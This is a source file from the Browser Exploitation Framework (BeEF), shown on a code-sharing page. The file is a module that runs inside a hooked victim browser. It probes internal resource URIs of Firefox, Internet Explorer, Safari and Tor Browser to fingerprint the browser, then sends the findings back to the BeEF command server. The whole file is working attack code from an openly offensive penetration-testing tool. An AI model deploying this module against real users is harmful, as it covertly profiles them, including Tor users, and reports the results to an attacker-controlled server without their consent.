Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/browser_fingerprinting/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var browser_type = new Array;
10
var browser_version = new Array;
11
var dom = document.createElement('b');
12
13
function unique(array) {
14
return $.grep(array, function(el, index) {
15
return index === $.inArray(el, array);
16
});
17
}
18
19
parse_browser_details = function() {
20
if (!browser_type.length) browser_type[0] = "unknown";
21
if (!browser_version.length) browser_version[0] = "unknown";
22
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+unique(browser_type)+"&browser_version="+unique(browser_version));
23
};
24
25
// Browser fingerprints // in the form of: "URI","Browser","version(s)"
26
var fingerprints = new Array(
27
new Array("Safari","1+","feed://__rsrc__/__rsrc__/NextPage.tif"),
28
new Array("Firefox","1+","moz-icon://.autoreg?size=16"),
29
new Array("Firefox","2","resource:///res/html/gopher-audio.gif"),
30
new Array("Firefox","2-3","jar:resource:///chrome/classic.jar!/skin/classic/browser/Secure.png"),
31
new Array("Firefox","4-5","resource:///chrome/browser/skin/classic/browser/Secure.png"),
32
new Array("Firefox","1-6","resource:///chrome/browser/content/branding/icon128.png"),
33
new Array("Firefox","4+","resource:///chrome/browser/skin/classic/browser/Geolocation-16.png"),
34
new Array("Firefox","7+","resource:///chrome/browser/content/browser/aboutHome-snippet1.png"),
35
new Array("Firefox","8+","resource:///chrome/browser/skin/classic/aero/browser/Toolbar-inverted.png"),
36
new Array("Firefox","9+","resource:///chrome/browser/skin/classic/aero/browser/identity.png"),
37
new Array("Firefox","10+","chrome://browser/skin/sync-128.png"),
38
new Array("Firefox","13+","chrome://browser/content/abouthome/noise.png"),
39
new Array("Firefox","18+","resource:///chrome/browser/skin/classic/aero/browser/webRTC-shareDevice-16.png"),
40
new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"),
41
new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"),
42
new Array("Internet Explorer","7+", "res://ieframe.dll/info_48.png"),
43
new Array("Internet Explorer","10+","res://ieframe.dll/immersivelogo.png"),
44
new Array("Tor Browser","1+","chrome://browser/content/abouttbupdate/aboutTBUpdateLogo.png")
45
);
46
47
for (var i=0; i<fingerprints.length; i++) {
48
var img = new Image;
49
img.id = fingerprints[i][0];
50
img.name = fingerprints[i][1];
51
img.src = fingerprints[i][2];
52
img.onload = function() { browser_type.push(this.id); browser_version.push(this.name); dom.removeChild(this); }
53
dom.appendChild(img);
54
}
55
56
setTimeout('parse_browser_details();', 2000);
57
58
});
59
60
61